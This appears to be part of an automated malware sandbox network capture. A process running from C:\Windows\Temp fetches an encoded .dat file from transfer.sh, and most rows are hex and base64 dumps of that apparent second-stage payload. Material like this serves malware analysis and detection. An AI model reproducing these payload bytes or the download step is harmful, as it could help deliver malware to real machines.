2023-04-20 23:03:01 UTC	3440	IN	Data Raw: 4a 69 59 57 4c 52 6f 4b 41 41 4a 68 63 77 6f 41 41 6d 42 7a 42 67 41 46 4a 51 62 2b 41 67 49 6d 4a 53 30 63 41 67 51 41 41 6d 68 39 45 2f 34 58 41 6e 6f 4b 41 41 43 62 63 77 59 41 43 55 73 6f 69 64 49 65 6b 69 41 51 4c 41 51 41 41 6d 68 37 45 2f 34 43 41 41 41 41 41 41 41 41 41 46 73 41 42 7a 41 44 41 43 6f 57 43 67 41 71 42 41 41 43 62 6e 30 58 41 67 51 41 41 6d 6c 39 41 51 41 41 47 34 31 61 42 41 41 43 62 48 73 43 43 41 49 45 41 41 4a 73 66 56 73 65 57 67 59 41 42 30 42 76 42 41 41 43 62 58 73 43 42 67 41 48 50 47 38 45 41 41 4a 74 65 77 49 43 44 41 59 41 42 2b 4e 76 42 41 41 43 61 33 73 43 42 67 41 48 34 6d 38 4b 41 41 42 57 66 67 51 41 41 6d 31 37 41 6d 6f 57 42 67 63 47 41 41 55 57 4b 41 49 45 41 41 4a 72 65 77 4c 63 4b 77 51 41 41 6e 46 39 4a 79 73 Data Ascii: JiYWLRoKAAJhcwoAAmBzBgAFJQb+AgImJS0cAgQAAmh9E/4XAnoKAACbcwYACUsoidIekiAQLAQAAmh7E/4CAAAAAAAAAFsABzADACoWCgAqBAACbn0XAgQAAml9AQAAG41aBAACbHsCCAIEAAJsfVseWgYAB0BvBAACbXsCBgAHPG8EAAJtewICDAYAB+NvBAACa3sCBgAH4m8KAABWfgQAAm17AmoWBgcGAAUWKAIEAAJrewLcKwQAAnF9Jys
2023-04-20 23:03:01 UTC	3456	IN	Data Raw: 59 57 38 45 41 41 49 58 65 77 49 4b 41 41 42 68 4b 41 49 4b 42 41 41 43 46 58 73 43 54 53 73 4b 41 41 49 79 62 31 6c 62 47 41 6f 41 41 47 46 76 42 41 41 43 47 48 73 43 57 46 73 59 43 67 41 41 59 57 38 45 41 41 49 58 65 77 49 4b 41 41 48 65 62 77 51 41 41 68 64 37 41 67 51 41 41 68 68 37 41 67 6f 4a 6e 43 73 4b 41 41 49 78 4b 4a 59 72 43 35 4d 72 43 67 30 72 52 53 38 45 41 41 49 56 65 77 49 4a 44 56 67 5a 48 77 6f 41 41 6a 42 76 42 41 41 43 47 48 73 43 44 41 6f 41 41 65 4d 6f 57 41 38 66 42 67 41 52 7a 43 67 43 42 67 6f 41 41 69 78 76 42 41 41 43 46 48 73 43 42 41 41 43 47 48 73 43 42 67 41 51 53 6d 38 58 42 41 41 43 47 48 73 43 43 67 41 43 4c 47 38 4b 41 41 48 41 66 67 51 41 41 68 68 37 41 69 59 6d 58 79 30 56 43 67 41 41 35 58 4d 48 42 67 49 6d 61 43 30 Data Ascii: YW8EAAIXewIKAABhKAIKBAACFXsCTSsKAAIyb1lbGAoAAGFvBAACGHsCWFsYCgAAYW8EAAIXewIKAAHebwQAAhd7AgQAAhh7AgoJnCsKAAIxKJYrC5MrCg0rRS8EAAIVewIJDVgZHwoAAjBvBAACGHsCDAoAAeMoWA8fBgARzCgCBgoAAixvBAACFHsCBAACGHsCBgAQSm8XBAACGHsCCgACLG8KAAHAfgQAAhh7AiYmXy0VCgAA5XMHBgImaC0
2023-04-20 23:03:01 UTC	3472	IN	Data Raw: 47 51 4d 43 41 41 41 41 41 41 41 41 41 42 45 41 43 54 41 44 41 41 41 41 4b 76 59 72 4a 67 4d 72 42 41 41 42 74 6e 73 6d 43 43 30 61 46 77 49 41 41 41 41 41 41 41 41 41 45 51 41 4b 4d 41 4d 41 41 41 41 71 79 53 73 45 41 41 47 35 66 51 63 72 43 67 41 42 37 32 38 4b 41 41 48 72 63 77 59 41 41 2b 41 47 2f 67 49 45 41 41 47 35 65 77 49 4b 41 41 48 75 62 77 6f 41 41 65 74 7a 42 67 41 44 33 77 62 2b 41 67 51 41 41 62 6c 37 41 69 59 6d 4d 69 30 58 41 77 49 4b 41 41 48 74 62 77 6f 41 41 65 74 7a 42 67 41 44 34 41 62 2b 41 67 51 41 41 62 6c 37 41 67 6f 41 41 65 78 76 43 67 41 42 36 33 4d 47 41 41 50 66 42 76 34 43 42 41 41 42 75 58 73 43 4c 69 77 45 41 41 47 35 65 77 49 41 41 41 41 41 41 41 41 41 64 51 41 4a 4d 41 4d 41 41 41 41 71 39 69 73 6d 41 79 73 45 41 41 47 Data Ascii: GQMCAAAAAAAAABEACTADAAAAKvYrJgMrBAABtnsmCC0aFwIAAAAAAAAAEQAKMAMAAAAqySsEAAG5fQcrCgAB728KAAHrcwYAA+AG/gIEAAG5ewIKAAHubwoAAetzBgAD3wb+AgQAAbl7AiYmMi0XAwIKAAHtbwoAAetzBgAD4Ab+AgQAAbl7AgoAAexvCgAB63MGAAPfBv4CBAABuXsCLiwEAAG5ewIAAAAAAAAAdQAJMAMAAAAq9ismAysEAAG
2023-04-20 23:03:01 UTC	3504	IN	Data Raw: 41 46 61 4d 42 67 41 43 36 43 67 6d 46 53 30 59 46 67 49 47 41 41 66 51 4b 43 59 64 4c 52 6f 64 41 67 59 41 43 55 73 6f 69 64 4a 64 6d 43 41 41 41 41 41 41 41 41 41 41 4d 77 41 4b 4d 41 4d 41 4b 67 41 72 42 67 41 43 35 53 67 48 4b 79 59 6d 42 43 30 59 61 56 68 61 62 46 6b 47 41 41 4c 6d 4b 41 49 47 41 41 4c 6e 4b 41 4a 62 51 46 6b 41 41 41 41 41 41 41 41 6a 41 32 77 47 41 41 4c 6d 4b 41 49 43 41 41 41 41 41 41 41 41 41 44 4d 41 44 54 41 44 41 41 41 71 35 79 73 6d 33 43 73 6d 31 43 73 6d 43 53 74 62 62 46 6b 47 41 41 4c 6d 4b 41 49 47 41 41 4c 6e 4b 43 59 58 4c 52 6f 58 41 6c 70 73 57 51 59 41 41 75 59 6f 4a 69 49 74 47 42 63 43 42 67 41 43 35 43 67 6d 4b 69 30 5a 47 41 4a 41 57 51 41 41 41 41 41 41 41 43 4d 41 41 41 41 41 41 41 41 41 51 67 41 4e 4d 41 4d Data Ascii: AFaMBgAC6CgmFS0YFgIGAAfQKCYdLRodAgYACUsoidJdmCAAAAAAAAAAMwAKMAMAKgArBgAC5SgHKyYmBC0YaVhabFkGAALmKAIGAALnKAJbQFkAAAAAAAAjA2wGAALmKAICAAAAAAAAADMADTADAAAq5ysm3Csm1CsmCStbbFkGAALmKAIGAALnKCYXLRoXAlpsWQYAAuYoJiItGBcCBgAC5CgmKi0ZGAJAWQAAAAAAACMAAAAAAAAAQgANMAM
2023-04-20 23:03:01 UTC	3536	IN	Data Raw: 41 41 41 71 41 43 73 45 41 41 45 69 66 51 63 72 4a 69 59 45 4c 52 6f 44 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6b 77 41 77 41 41 41 43 72 32 4b 79 59 44 4b 77 51 41 41 53 4a 37 4a 67 67 74 47 52 34 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 41 41 41 4b 67 41 72 42 41 41 42 49 58 30 48 4b 79 59 6d 42 43 30 63 41 77 49 41 41 41 41 41 41 41 41 41 45 51 41 4a 4d 41 4d 41 41 41 41 71 39 69 73 6d 41 79 73 45 41 41 45 68 65 79 59 49 4c 52 30 5a 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6f 77 41 77 41 41 41 43 6f 41 4b 77 51 41 41 53 42 39 42 79 73 6d 4a 67 51 74 47 51 4d 43 41 41 41 41 41 41 41 41 41 42 45 41 43 54 41 44 41 41 41 41 4b 76 59 72 4a 67 4d 72 42 41 41 42 49 48 73 6d 43 43 77 57 47 41 49 41 41 41 41 41 41 41 41 41 45 51 41 4b 4d 41 4d Data Ascii: AAAqACsEAAEifQcrJiYELRoDAgAAAAAAAAARAAkwAwAAACr2KyYDKwQAASJ7JggtGR4CAAAAAAAAABEACjADAAAAKgArBAABIX0HKyYmBC0cAwIAAAAAAAAAEQAJMAMAAAAq9ismAysEAAEheyYILR0ZAgAAAAAAAAARAAowAwAAACoAKwQAASB9BysmJgQtGQMCAAAAAAAAABEACTADAAAAKvYrJgMrBAABIHsmCCwWGAIAAAAAAAAAEQAKMAM
2023-04-20 23:03:01 UTC	3568	IN	Data Raw: 4b 41 34 72 4a 67 6f 74 48 41 49 6d 4a 67 6b 74 47 77 4d 43 41 41 41 41 41 41 41 41 41 42 30 41 43 54 41 44 4b 75 4d 72 4a 67 4d 72 43 67 41 42 48 33 4d 4b 41 41 45 65 4b 41 45 50 42 67 41 42 67 53 67 4b 41 41 45 64 4b 41 45 50 4a 68 73 74 47 68 77 43 41 41 41 41 41 41 41 41 41 43 51 41 43 6a 41 44 41 41 41 71 35 43 73 6d 41 79 73 4b 41 41 44 4a 63 77 6f 41 41 4d 59 6f 41 51 39 5a 42 67 41 4f 77 57 38 45 41 41 44 4b 65 79 59 61 4c 52 77 65 41 67 6f 41 41 4d 67 6f 41 51 38 41 41 41 41 41 41 41 41 41 4b 67 41 4b 4d 41 4d 41 41 41 41 41 44 67 42 73 4b 41 42 45 41 41 49 41 41 42 41 42 41 41 41 41 4b 67 6f 41 41 48 55 6f 41 74 77 4b 41 41 41 48 62 78 73 41 41 44 59 57 2f 67 41 53 44 74 37 63 4c 51 6f 41 41 50 73 6f 41 42 49 4b 41 41 43 2b 62 78 59 48 39 79 73 Data Ascii: KA4rJgotHAImJgktGwMCAAAAAAAAAB0ACTADKuMrJgMrCgABH3MKAAEeKAEPBgABgSgKAAEdKAEPJhstGhwCAAAAAAAAACQACjADAAAq5CsmAysKAADJcwoAAMYoAQ9ZBgAOwW8EAADKeyYaLRweAgoAAMgoAQ8AAAAAAAAAKgAKMAMAAAAADgBsKABEAAIAABABAAAAKgoAAHUoAtwKAAAHbxsAADYW/gASDt7cLQoAAPsoABIKAAC+bxYH9ys
2023-04-20 23:03:01 UTC	3664	IN	Data Raw: 41 71 68 2b 43 67 41 41 5a 53 67 41 45 67 49 31 4d 78 63 45 41 41 42 54 65 77 49 2b 4b 77 51 41 41 46 68 39 43 67 41 41 78 58 4e 5a 57 68 67 45 41 41 4b 6f 66 67 6f 41 41 47 63 6f 41 42 49 4b 41 41 44 45 4b 41 41 53 57 41 51 41 41 71 68 2b 43 67 41 41 5a 69 67 41 45 67 6f 41 41 47 55 6f 41 42 49 43 4e 79 30 45 41 41 42 54 65 77 49 45 41 41 42 63 66 51 6f 41 41 4d 56 7a 42 41 41 43 71 48 34 45 41 41 4b 6f 66 67 6f 41 41 47 59 6f 41 42 4a 5a 42 41 41 43 71 48 34 4b 41 41 42 6f 4b 41 41 53 41 67 51 41 41 46 74 39 43 67 41 41 78 58 4d 45 41 41 4b 6f 66 67 51 41 41 71 68 2b 43 67 41 41 5a 69 67 41 45 67 6f 41 41 47 55 6f 41 42 49 43 54 44 4d 58 42 41 41 41 55 33 73 43 38 43 73 45 41 41 42 63 66 63 34 72 42 41 41 41 57 33 31 6a 4b 79 59 6d 43 79 30 56 43 67 41 Data Ascii: Aqh+CgAAZSgAEgI1MxcEAABTewI+KwQAAFh9CgAAxXNZWhgEAAKofgoAAGcoABIKAADEKAASWAQAAqh+CgAAZigAEgoAAGUoABICNy0EAABTewIEAABcfQoAAMVzBAACqH4EAAKofgoAAGYoABJZBAACqH4KAABoKAASAgQAAFt9CgAAxXMEAAKofgQAAqh+CgAAZigAEgoAAGUoABICTDMXBAAAU3sC8CsEAABcfc4rBAAAW31jKyYmCy0VCgA

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49683	144.76.136.153	443	C:\Windows\Temp\321.exe

Timestamp	kBytes transferred	Direction	Data
2023-04-20 23:03:00 UTC	0	OUT	GET /get/cAvBHQ/Ecjzqvnws.dat HTTP/1.1 Host: transfer.sh Connection: Keep-Alive
2023-04-20 23:03:00 UTC	0	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 20 Apr 2023 23:03:00 GMT Content-Length: 2397528 Connection: close Cache-Control: no-store Content-Disposition: attachment; filename="Ecjzqvnws.dat" Retry-After: Fri, 21 Apr 2023 01:03:00 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,84.17.52.2,84.17.52.2 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 8 X-Ratelimit-Reset: 1682031780 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders Strict-Transport-Security: max-age=63072000
2023-04-20 23:03:00 UTC	0	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2023-04-20 23:03:00 UTC	16	IN	Data Raw: 67 48 6c 67 52 49 56 67 49 6b 53 41 65 57 42 45 68 55 44 42 78 6f 4f 44 67 49 43 41 41 55 64 68 42 49 41 49 41 58 35 67 78 49 41 41 41 55 43 41 42 34 43 39 59 45 53 46 51 41 65 41 5a 6d 41 45 68 55 43 41 67 45 51 45 77 49 41 68 78 49 43 39 59 45 53 46 51 6b 41 48 67 47 5a 67 42 49 56 41 42 34 64 41 51 45 51 44 51 43 48 45 67 45 4b 42 51 34 63 44 67 45 44 49 41 59 67 6a 42 49 42 35 59 45 53 46 51 67 49 43 41 49 48 42 50 53 4c 45 67 47 6c 67 42 49 56 43 50 53 4c 45 67 45 4b 42 66 53 4c 45 67 47 6c 67 42 49 56 41 62 47 41 45 52 55 4e 39 49 73 53 41 61 57 41 45 68 55 42 73 59 41 52 46 63 53 43 45 76 53 4c 45 67 47 6c 67 42 49 56 43 41 6a 30 69 78 49 42 70 59 41 53 46 51 59 48 4a 50 53 4c 45 67 49 49 39 49 73 53 41 5a 32 41 45 68 55 49 42 51 63 51 39 49 73 53 Data Ascii: gHlgRIVgIkSAeWBEhUDBxoODgICAAUdhBIAIAX5gxIAAAUCAB4C9YESFQAeAZmAEhUCAgEQEwIAhxIC9YESFQkAHgGZgBIVAB4dAQEQDQCHEgEKBQ4cDgEDIAYgjBIB5YESFQgICAIHBPSLEgGlgBIVCPSLEgEKBfSLEgGlgBIVAbGAERUN9IsSAaWAEhUBsYARFcSCEvSLEgGlgBIVCAj0ixIBpYASFQYHJPSLEgII9IsSAZ2AEhUIBQcQ9IsS
2023-04-20 23:03:00 UTC	64	IN	Data Raw: 42 45 42 41 53 41 47 30 49 77 52 41 43 41 46 42 49 59 53 41 51 45 67 42 67 53 47 45 67 59 45 50 49 73 52 41 43 41 46 50 49 73 52 42 67 53 49 68 52 49 42 41 53 41 47 43 41 67 59 41 51 4d 67 42 69 69 43 45 67 59 45 62 49 49 52 41 51 45 67 42 6d 79 43 45 51 41 67 42 53 53 43 45 67 45 42 49 41 59 6b 67 68 49 41 49 41 55 6b 67 68 49 47 42 41 69 47 45 52 43 49 68 78 45 64 43 41 79 49 45 51 67 45 49 41 38 49 59 49 63 53 43 41 45 44 49 41 67 59 35 49 4d 52 41 51 49 67 42 31 67 53 43 41 45 43 49 41 59 4b 43 67 45 43 49 41 57 4d 67 68 45 51 43 41 45 43 49 41 6a 34 69 52 45 51 43 41 45 43 49 41 67 59 69 68 45 41 67 68 49 49 41 51 4d 67 43 70 79 44 45 68 41 49 41 51 49 67 43 4a 79 44 45 68 41 42 41 53 41 48 6e 49 55 52 45 41 67 42 41 69 41 49 49 49 49 52 45 41 67 42 Data Ascii: BEBASAG0IwRACAFBIYSAQEgBgSGEgYEPIsRACAFPIsRBgSIhRIBASAGCAgYAQMgBiiCEgYEbIIRAQEgBmyCEQAgBSSCEgEBIAYkghIAIAUkghIGBAiGERCIhxEdCAyIEQgEIA8IYIcSCAEDIAgY5IMRAQIgB1gSCAECIAYKCgECIAWMghEQCAECIAj4iREQCAECIAgYihEAghIIAQMgCpyDEhAIAQIgCJyDEhABASAHnIUREAgBAiAIIIIREAgB
2023-04-20 23:03:00 UTC	80	IN	Data Raw: 68 55 41 49 41 6f 43 62 59 49 53 41 51 49 67 42 32 32 43 45 67 45 42 49 41 5a 51 68 68 49 42 72 59 41 53 46 51 59 4a 62 59 49 53 42 67 51 47 41 51 45 67 42 41 59 41 49 41 4d 47 42 67 49 41 41 41 49 41 42 41 41 41 41 51 41 45 41 41 41 41 49 41 51 41 41 41 41 51 42 41 41 41 41 41 51 45 41 41 41 41 41 67 51 41 41 41 41 42 42 41 41 41 41 41 41 45 6f 49 41 52 42 67 51 73 68 42 45 41 49 41 55 73 68 42 45 42 41 53 41 47 31 49 77 52 41 51 45 67 42 74 53 4d 45 51 41 67 42 51 6b 42 41 53 41 45 43 51 41 67 41 78 53 4b 45 67 45 42 49 41 59 55 69 68 49 47 42 42 79 46 45 67 49 42 49 41 61 63 67 42 45 41 49 41 56 45 68 68 49 41 49 41 56 41 69 42 49 41 49 41 57 63 67 42 45 47 42 45 53 47 45 67 59 45 51 49 67 53 42 67 54 64 67 52 49 63 41 51 49 67 42 39 32 42 45 67 45 42 Data Ascii: hUAIAoCbYISAQIgB22CEgEBIAZQhhIBrYASFQYJbYISBgQGAQEgBAYAIAMGBgIAAAIABAAAAQAEAAAAIAQAAAAQBAAAAAQEAAAAAgQAAAABBAAAAAAEoIARBgQshBEAIAUshBEBASAG1IwRAQEgBtSMEQAgBQkBASAECQAgAxSKEgEBIAYUihIGBByFEgIBIAacgBEAIAVEhhIAIAVAiBIAIAWcgBEGBESGEgYEQIgSBgTdgRIcAQIgB92BEgEB
2023-04-20 23:03:00 UTC	128	IN	Data Raw: 34 44 69 67 59 44 69 67 59 44 69 69 6f 44 69 69 6f 44 69 68 49 44 69 69 34 44 69 68 49 44 69 67 59 44 69 67 34 44 69 68 59 44 69 67 34 44 69 69 6f 44 69 67 6f 44 69 67 59 44 69 68 59 44 69 43 41 43 43 67 4f 4b 46 67 4f 4b 42 67 4f 4b 41 67 4f 4b 47 67 4f 4b 47 67 4f 4b 48 67 4f 4b 4b 67 4f 4b 44 67 4f 4b 42 67 4f 49 43 41 49 6d 41 34 6f 75 41 34 6f 53 41 34 6f 75 41 34 6f 43 41 34 6f 57 41 34 6f 4b 41 34 6f 43 41 34 6f 6d 41 34 6f 43 41 34 6f 4f 41 34 6f 4b 41 34 67 38 41 68 59 44 69 68 6f 44 69 67 34 44 69 67 34 44 69 67 6f 44 69 67 59 44 69 69 59 44 69 67 34 44 69 69 49 44 69 68 6f 44 69 43 41 41 44 68 49 44 69 67 59 44 69 67 49 44 69 68 49 44 69 67 59 44 69 68 6f 44 69 44 67 41 43 68 49 44 69 67 59 44 69 67 49 44 69 68 49 44 69 67 59 44 69 68 6f 44 69 Data Ascii: 4DigYDigYDiioDiioDihIDii4DihIDigYDig4DihYDig4DiioDigoDigYDihYDiCACCgOKFgOKBgOKAgOKGgOKGgOKHgOKKgOKDgOKBgOICAImA4ouA4oSA4ouA4oCA4oWA4oKA4oCA4omA4oCA4oOA4oKA4g8AhYDihoDig4Dig4DigoDigYDiiYDig4DiiIDihoDiCAADhIDigYDigIDihIDigYDihoDiDgAChIDigYDigIDihIDigYDihoDi
2023-04-20 23:03:00 UTC	144	IN	Data Raw: 56 5a 4a 56 45 46 4f 58 30 5a 53 52 55 52 42 52 56 4a 66 52 55 4e 53 56 55 39 54 58 30 5a 4e 41 45 31 42 52 56 4a 55 55 31 64 46 54 6c 39 47 55 6b 56 45 51 55 56 53 58 30 56 44 55 6c 56 50 55 31 39 47 54 51 42 4e 51 55 56 53 56 46 4e 47 54 30 52 4f 52 56 39 47 55 6b 56 45 51 55 56 53 58 30 56 44 55 6c 56 50 55 31 39 47 54 51 42 53 54 31 4a 53 52 56 39 47 55 6b 56 45 51 55 56 53 58 30 56 44 55 6c 56 50 55 31 39 47 54 51 42 6c 62 6d 39 4f 41 41 57 45 67 4f 4b 42 67 4f 4b 41 67 4f 4b 45 67 4f 4b 42 67 4f 4b 44 67 4f 49 44 41 41 4f 45 67 4f 4b 42 67 4f 4b 41 67 4f 4b 45 67 4f 4b 42 67 4f 4b 44 67 4f 49 44 41 41 4b 45 67 4f 4b 42 67 4f 4b 41 67 4f 4b 45 67 4f 4b 42 67 4f 4b 44 67 4f 49 44 41 47 56 32 59 57 56 4d 5a 58 4e 31 62 30 31 75 54 77 42 6c 65 6d 6c 7a Data Ascii: VZJVEFOX0ZSRURBRVJfRUNSVU9TX0ZNAE1BRVJUU1dFTl9GUkVEQUVSX0VDUlVPU19GTQBNQUVSVFNGT0RORV9GUkVEQUVSX0VDUlVPU19GTQBST1JSRV9GUkVEQUVSX0VDUlVPU19GTQBlbm9OAAWEgOKBgOKAgOKEgOKBgOKDgOIDAAOEgOKBgOKAgOKEgOKBgOKDgOIDAAKEgOKBgOKAgOKEgOKBgOKDgOIDAGV2YWVMZXN1b01uTwBlemlz
2023-04-20 23:03:00 UTC	160	IN	Data Raw: 52 74 36 6b 51 66 70 63 47 41 54 67 48 42 67 45 34 4a 77 59 41 63 37 63 47 41 48 4f 58 64 50 41 51 74 31 73 77 61 72 64 61 30 47 71 33 57 6e 42 71 74 31 6f 51 61 72 64 5a 73 47 71 33 57 56 42 71 74 31 5a 41 45 4c 64 46 6f 42 43 33 50 6a 41 6d 6c 7a 34 77 69 6d 61 35 63 49 70 6d 59 61 43 4b 5a 7a 72 67 69 6d 63 36 67 49 70 6e 4f 4e 41 6d 6c 7a 6a 51 69 6d 63 6b 4d 43 61 58 47 48 41 6d 6c 78 67 51 4a 70 63 58 73 43 61 58 46 31 41 6d 6c 78 62 77 4a 70 63 4c 59 46 35 58 42 67 44 63 78 76 42 67 49 7a 62 34 59 43 4d 57 38 47 41 52 74 75 4a 51 45 62 61 39 77 43 73 32 76 63 42 51 74 72 6c 77 4a 70 61 75 67 42 43 32 67 61 41 51 74 6e 57 67 45 4c 5a 68 6f 43 61 57 53 48 41 51 74 6b 48 77 4b 35 5a 42 38 43 73 32 50 37 44 64 42 6a 4b 67 4a 70 59 79 6f 49 70 6d 46 50 Data Ascii: Rt6kQfpcGATgHBgE4JwYAc7cGAHOXdPAQt1swarda0Gq3WnBqt1oQardZsGq3WVBqt1ZAELdFoBC3PjAmlz4wima5cIpmYaCKZzrgimc6gIpnONAmlzjQimckMCaXGHAmlxgQJpcXsCaXF1AmlxbwJpcLYF5XBgDcxvBgIzb4YCMW8GARtuJQEba9wCs2vcBQtrlwJpaugBC2gaAQtnWgELZhoCaWSHAQtkHwK5ZB8Cs2P7DdBjKgJpYyoIpmFP
2023-04-20 23:03:00 UTC	176	IN	Data Raw: 4f 4e 42 6f 67 46 37 41 41 42 61 67 30 64 67 41 5a 4d 41 41 46 70 44 57 4a 30 42 51 77 41 41 57 4d 4e 42 6f 67 45 37 41 41 42 59 77 30 64 67 41 5a 4d 41 41 46 69 44 57 42 6b 42 51 77 41 41 56 38 4e 42 6f 67 45 37 41 41 42 58 77 30 47 69 41 54 73 41 41 46 4f 44 56 2b 6b 42 51 77 41 41 55 34 4d 45 49 67 47 37 41 41 42 54 59 30 31 49 41 62 4d 41 41 46 4e 6a 51 61 49 42 4f 77 41 41 55 6f 4e 58 76 77 46 44 41 41 42 53 67 77 51 69 41 4d 4d 41 41 46 48 6a 56 30 4d 42 51 77 41 41 55 61 4e 42 6f 67 45 37 41 41 42 52 6f 77 51 69 41 59 73 41 41 46 47 6a 51 61 49 42 4f 77 41 41 55 59 4e 58 47 51 46 44 41 41 42 52 67 77 51 69 41 4d 4d 41 41 46 44 6a 51 61 49 42 4f 77 41 41 55 4b 4e 57 37 77 46 44 41 41 42 51 6f 77 51 69 41 59 73 41 41 46 43 6a 51 61 49 42 4f 77 41 41 Data Ascii: ONBogF7AABag0dgAZMAAFpDWJ0BQwAAWMNBogE7AABYw0dgAZMAAFiDWBkBQwAAV8NBogE7AABXw0GiATsAAFODV+kBQwAAU4MEIgG7AABTY01IAbMAAFNjQaIBOwAAUoNXvwFDAABSgwQiAMMAAFHjV0MBQwAAUaNBogE7AABRowQiAYsAAFGjQaIBOwAAUYNXGQFDAABRgwQiAMMAAFDjQaIBOwAAUKNW7wFDAABQowQiAYsAAFCjQaIBOwAA
2023-04-20 23:03:00 UTC	192	IN	Data Raw: 45 6f 43 69 54 49 41 65 36 34 43 4d 57 4c 76 65 36 49 48 6b 51 43 67 65 35 51 4a 36 51 43 67 52 63 6b 4a 4f 51 4b 2f 65 34 63 4a 36 51 31 4b 65 6b 4d 49 30 51 43 67 65 33 6b 49 30 56 30 71 4d 66 41 43 62 41 42 77 61 34 41 43 6c 45 45 64 4c 47 77 43 6a 44 49 2b 47 64 41 43 68 47 65 55 65 33 51 43 64 41 47 45 47 4d 63 43 5a 41 43 74 51 47 55 43 66 41 42 77 61 34 41 43 66 47 41 2b 4c 47 77 43 64 41 46 30 47 6b 55 43 5a 41 46 30 47 64 41 43 5a 41 46 30 47 6b 4d 43 5a 41 46 30 47 6a 77 43 5a 41 57 69 4c 45 6f 43 62 41 42 2f 64 6e 49 43 64 41 43 67 4c 45 6f 43 5a 41 47 45 64 43 38 43 58 41 4c 45 47 4d 55 41 4a 41 43 67 4c 45 6f 41 4a 43 50 49 64 66 77 46 53 53 50 49 64 66 67 46 53 54 61 35 64 66 77 46 53 52 56 6f 65 31 38 44 2b 51 43 44 4c 47 4d 45 2b 51 4c 72 Data Ascii: EoCiTIAe64CMWLve6IHkQCge5QJ6QCgRckJOQK/e4cJ6Q1KekMI0QCge3kI0V0qMfACbABwa4AClEEdLGwCjDI+GdAChGeUe3QCdAGEGMcCZACtQGUCfABwa4ACfGA+LGwCdAF0GkUCZAF0GdACZAF0GkMCZAF0GjwCZAWiLEoCbAB/dnICdACgLEoCZAGEdC8CXALEGMUAJACgLEoAJCPIdfwFSSPIdfgFSTa5dfwFSRVoe18D+QCDLGME+QLr
2023-04-20 23:03:00 UTC	208	IN	Data Raw: 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6e 51 41 41 49 41 41 42 6a 46 41 41 45 41 41 42 6f 38 41 41 4d 41 41 42 6e 51 41 41 49 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 70 46 41 41 51 41 41 42 6f 38 41 41 4d 41 41 42 6e 51 41 41 49 41 41 42 6a 46 41 41 45 41 41 42 6a 46 Data Ascii: AEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABnQAAIAABjFAAEAABo8AAMAABnQAAIAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABpFAAQAABo8AAMAABnQAAIAABjFAAEAABjF
2023-04-20 23:03:00 UTC	304	IN	Data Raw: 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6f 38 41 41 4d 41 41 42 6e 51 41 41 49 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 46 41 41 45 41 41 42 6a 